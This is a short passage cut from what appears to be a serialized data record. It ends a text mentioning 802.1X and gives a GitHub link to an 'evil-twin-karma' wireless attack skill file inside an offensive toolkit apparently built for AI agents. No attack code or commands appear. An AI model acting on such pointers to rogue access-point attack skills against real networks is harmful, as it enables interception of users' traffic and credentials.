802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]